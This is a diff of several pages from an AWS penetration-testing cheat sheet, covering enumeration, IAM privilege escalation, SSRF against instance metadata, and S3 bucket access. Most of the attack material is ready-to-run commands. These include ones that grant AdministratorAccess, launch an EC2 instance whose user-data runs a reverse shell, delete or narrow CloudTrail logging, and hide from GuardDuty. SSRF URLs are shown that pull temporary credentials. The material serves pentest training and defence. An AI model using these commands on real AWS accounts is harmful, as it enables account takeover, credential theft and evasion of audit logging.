2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
```
## References
* [An introduction to penetration testing AWS - Akimbocore - HollyGraceful - 06 August 2021](https://akimbocore.com/article/introduction-to-penetration-testing-aws/)
* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
* [PACU Spencer Gietzen - 30 juil. 2018](https://youtu.be/XfetW1Vqybw?list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)

View File

@@ -0,0 +1,162 @@
# AWS - Identity & Access Management
## Listing IAM access Keys
```ps1
aws iam list-access-keys
```
## Listing IAM Users and Groups
```ps1
aws iam list-users
aws iam list-groups
```
## Get IAM Details
```ps1
aws iam get-account-authorization-details > iam.json
```
## Assume a Specific Role
```ps1
aws sts assume-role --role-arn arn:aws:iam::${accountId}:role/${roleName} --role-session-name ${roleName}
```
## Login with MFA
Retrieve the MFA device ARN:
```ps1
aws iam list-mfa-devices
```
Then create the session token:
```ps1
aws sts get-session-token --serial-number ${arnMFADevice} --token-code ${MFACode}
```
## Shadow Admin
### Admin equivalent permission
- AdministratorAccess
```powershell
"Action": "*"
"Resource": "*"
```
- **ec2:AssociateIamInstanceProfile** : attach an IAM instance profile to an EC2 instance
```powershell
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789
```
- **iam:CreateAccessKey** : create a new access key to another IAM admin account
```powershell
aws iam create-access-key user-name target_user
```
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
```powershell
aws iam create-login-profile user-name target_user password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' no-password-reset-required
```
- **iam:UpdateLoginProfile** : reset other IAM users login passwords.
```powershell
aws iam update-login-profile user-name target_user password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' no-password-reset-required
```
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
```powershell
aws iam attach-user-policy user-name my_username policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-user-policy user-name my_username policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-role-policy role-name role_i_can_assume policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
```powershell
aws iam put-user-policy user-name my_username policy-name my_inline_policy policy-document file://path/to/administrator/policy.json
```
- **iam:CreatePolicy** : add a stealthy admin policy
- **iam:AddUserToGroup** : add into the admin group of the organization.
```powershell
aws iam add-user-to-group group-name target_group user-name my_username
```
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
```powershell
aws iam update-assume-role-policy role-name role_i_can_assume policy-document file://path/to/assume/role/policy.json
```
- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
```powershell
aws iam create-policy-version policy-arn target_policy_arn policy-document file://path/to/administrator/policy.json set-as-default
aws iam set-default-policy-version policy-arn target_policy_arn version-id v2
```
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
```powershell
aws lambda update-function-code function-name target_function zip-file fileb://my/lambda/code/zipped.zip
```
- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
```powershell
aws glue endpoint-name target_endpoint public-key file://path/to/my/public/ssh/key.pub
```
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
```powershell
# add ssh key
$ aws ec2 run-instances image-id ami-a4dc46db instance-type t2.micro iam-instance-profile Name=iam-full-access-ip key-name my_ssh_key security-group-ids sg-123456
# execute a reverse shell
$ aws ec2 run-instances image-id ami-a4dc46db instance-type t2.micro iam-instance-profile Name=iam-full-access-ip user-data file://script/with/reverse/shell.sh
```
- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
```powershell
aws lambda create-function function-name my_function runtime python3.6 role arn_of_lambda_role handler lambda_function.lambda_handler code file://my/python/code.py
aws lambda invoke function-name my_function output.txt
```
Example of code.py
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
```
- **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
```powershell
aws glue create-dev-endpoint endpoint-name my_dev_endpoint role-arn arn_of_glue_service_role public-key file://path/to/my/public/ssh/key.pub
```
## References
- [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)

View File

@@ -0,0 +1,37 @@
# AWS - IOC & Detections
## CloudTrail
### Disable CloudTrail
```powershell
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
```
Disable monitoring of events from global services
```powershell
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
```
Disable Cloud Trail on specific regions
```powershell
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
```
## GuardDuty
### OS User Agent
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
Pacu bypass this problem by defining a custom User-Agent: [pacu.py#L1473](https://web.archive.org/web/20201111195614/https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1303)
```python
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
```

View File

@@ -0,0 +1,52 @@
# AWS - Service - Lambda & API Gateway
## List Lambda Functions
```ps1
aws lambda list-functions
```
### Invoke a Lambda Function
```ps1
aws lambda invoke --function-name name response.json --region region
```
## Extract Function's Code
```powershell
aws lambda list-functions --profile uploadcreds
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
```
## List API Gateway
```ps1
aws apigateway get-rest-apis
aws apigateway get-rest-api --rest-api-id ID
```
## Listing Information About Endpoints
```ps1
aws apigateway get-resources --rest-api-id ID
aws apigateway get-resource --rest-api-id ID --resource-id ID
aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method
```
## Listing API Keys
```ps1
aws apigateway get-api-keys --include-values
```
## Getting Information About A Specific Api Key
```ps1
aws apigateway get-api-key --api-key KEY
```
## References
* [Getting shell and data access in AWS by chaining vulnerabilities - Appsecco - Riyaz Walikar - Aug 29, 2019](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)

View File

@@ -0,0 +1,113 @@
# AWS - Metadata SSRF
> AWS released additional security defences against the attack.
:warning: Only working with IMDSv1.
Enabling IMDSv2
```ps1
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required
```
In order to use **IMDSv2** you must provide a token.
```powershell
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
```
## Method for Elastic Cloud Compute (EC2)
Amazon provides an internal service that allows every EC2 instance to query and retrieve metadata about the host. If you discover an SSRF vulnerability running on an EC2 instance, try to fetch the content from 169.254.169.254.
1. Access the IAM : [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)
```powershell
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
```
2. Find the name of the role assigned to the instance : [http://169.254.169.254/latest/meta-data/iam/security-credentials/](http://169.254.169.254/latest/meta-data/iam/security-credentials/)
3. Extract the role's temporary keys : [http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM_USER_ROLE_HERE>/](http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM_USER_ROLE_HERE>/)
```powershell
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAREDACTEDXXXXXXXX",
"SecretAccessKey" : "XXXXXXXXXXXXXXXXXXXXXX",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}
```
## Method for Container Service (Fargate)
1. Fetch the **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** variable from `https://awesomeapp.com/download?file=/proc/self/environ`
```powershell
JAVA_ALPINE_VERSION=8.212.04-r0
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
```
2. Use the credential URL to dump the AccessKey and SecretKey : `https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447`
```powershell
{
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
"AccessKeyId": "ASIAXXXXXXXXXX",
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
"Token": "FQoGZXIvYXdzEMj/////...jHsYXsBQ==",
"Expiration": "2019-09-18T04:05:59Z"
}
```
## AWS API calls that return credentials
- [chime:createapikey](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonchime.html)
- [codepipeline:pollforjobs](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html)
- [cognito-identity:getopenidtoken](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdToken.html)
- [cognito-identity:getopenidtokenfordeveloperidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html)
- [cognito-identity:getcredentialsforidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html)
- [connect:getfederationtoken](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
- [connect:getfederationtokens](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
- [ecr:getauthorizationtoken](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetAuthorizationToken.html)
- [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_RequestUploadCredentials.html)
- [iam:createaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html)
- [iam:createloginprofile](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html)
- [iam:createservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html)
- [iam:resetservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ResetServiceSpecificCredential.html)
- [iam:updateaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAccessKey.html)
- [lightsail:getinstanceaccessdetails](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetInstanceAccessDetails.html)
- [lightsail:getrelationaldatabasemasteruserpassword](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetRelationalDatabaseMasterUserPassword.html)
- [rds-db:connect](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)
- [redshift:getclustercredentials](https://docs.aws.amazon.com/redshift/latest/APIReference/API_GetClusterCredentials.html)
- [sso:getrolecredentials](https://docs.aws.amazon.com/singlesignon/latest/PortalAPIReference/API_GetRoleCredentials.html)
- [mediapackage:rotatechannelcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-credentials.html)
- [mediapackage:rotateingestendpointcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-ingest_endpoints-ingest_endpoint_id-credentials.html)
- [sts:assumerole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html)
- [sts:assumerolewithsaml](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-saml.html)
- [sts:assumerolewithwebidentity](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html)
- [sts:getfederationtoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-federation-token.html)
- [sts:getsessiontoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-session-token.html)
## References
- [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
- [Cloud security instance metadata - PumaScan - Eric Johnson - 09 Oct 2019](https://pumascan.com/resources/cloud-security-instance-metadata/)
- [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
- [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
- [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)

View File

@@ -0,0 +1,161 @@
# AWS - Service - S3 Buckets
An AWS S3 bucket is a cloud-based storage container that holds files, known as objects, which can be accessed over the internet. It is highly scalable and can store large amounts of data, such as documents, images, and backups. S3 provides robust security through access control, encryption, and permissions management. It ensures high durability and availability, making it ideal for storing and retrieving data from anywhere.
## Tools
* [aws/aws-cli](https://github.com/aws/aws-cli) - Universal Command Line Interface for Amazon Web Services
```ps1
sudo apt install awscli
```
* [digi.ninja/bucket-finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled
```powershell
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
./bucket_finder.rb my_words
./bucket_finder.rb --region ie my_words
./bucket_finder.rb --download --region ie my_words
./bucket_finder.rb --log-file bucket.out my_words
```
* [aws-sdk/boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html) - Amazon Web Services (AWS) SDK for Python
```python
import boto3
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')
try:
result = s3.list_buckets()
print(result)
except Exception as e:
print(e)
```
* [nccgroup/s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files
```powershell
python3 -m venv env && source env/bin/activate
pip install -r requirements.txt
python s3-objects-check.py -h
python s3-objects-check.py -p whitebox-profile -e blackbox-profile
```
* [grayhatwarfare/buckets](https://buckets.grayhatwarfare.com/) - Search Public Buckets
## Credentials and Profiles
Create a profile with your `AWSAccessKeyId` and `AWSSecretKey`, then you can use `--profile nameofprofile` in the `aws` command.
```js
aws configure --profile nameofprofile
AWS Access Key ID [None]: <AWSAccessKeyId>
AWS Secret Access Key [None]: <AWSSecretKey>
Default region name [None]:
Default output format [None]:
```
Alternatively you can use environment variables instead of creating a profile.
```bash
export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=
```
## Public S3 Bucket
An open S3 bucket refers to an Amazon Simple Storage Service (Amazon S3) bucket that has been configured to allow public access, either intentionally or by mistake. This means that anyone on the internet could potentially access, read, or even modify the data stored in the bucket, depending on the permissions set.
* `http://s3.amazonaws.com/<bucket-name>`
* `http://<bucket-name>.s3.amazonaws.com`
* `https://<bucket-name>.region.amazonaws.com/<file>`
AWS S3 buckets name examples: [http://flaws.cloud.s3.amazonaws.com](http://flaws.cloud.s3.amazonaws.com).
Either bruteforce the buckets name with keyword related to your target or search through the leaked one using OSINT tool such as [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/).
When file listing is enabled, the name is also displayed inside the `<Name>` XML tag.
```xml
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
```
## Bucket Interations
### Find the Region
To find the region of an Amazon Web Services (AWS) service (such as an S3 bucket) using dig or nslookup, query the DNS records for the service's domain or endpoint.
```bash
$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11
$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```
### List Files
To list files in an AWS S3 bucket using the AWS CLI, you can use the following command:
```bash
aws s3 ls <target> [--options]
aws s3 ls s3://bucket-name --no-sign-request --region <insert-region-here>
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
```
### Copy, Upload and Download Files
* **Copy**
```bash
aws s3 cp <source> <target> [--options]
aws s3 cp local.txt s3://bucket-name/remote.txt --acl authenticated-read
aws s3 cp login.html s3://bucket-name --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
```
* **Upload**
```bash
aws s3 mv <source> <target> [--options]
aws s3 mv test.txt s3://hackerone.files
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
```
* **Download**
```bash
aws s3 sync <source> <target> [--options]
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
```
### List File Versions
When versioning is enabled in an AWS S3 bucket, list file history using the AWS CLI:
```bash
aws s3api list-object-versions --bucket <bucket-name> [--options]
aws s3api list-object-versions --bucket <bucket-name> --prefix <file-path>
```
### Download a Specific File Version
```bash
aws s3api get-object --bucket <bucket-name> --key <source> --version-id <id> <target>
```
## References
* [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
* [Bug Bounty Survey - AWS Basic test](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
* [flaws.cloud Challenge based on AWS vulnerabilities - Scott Piper - Summit Route](http://flaws.cloud/)
* [flaws2.cloud Challenge based on AWS vulnerabilities - Scott Piper - Summit Route](http://flaws2.cloud)
* [Guardzilla video camera hardcoded AWS credential - INIT_6 - December 27, 2018](https://blackmarble.sh/guardzilla-video-camera-hard-coded-aws-credentials/)
* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)

Some files were not shown because too many files have changed in this diff Show More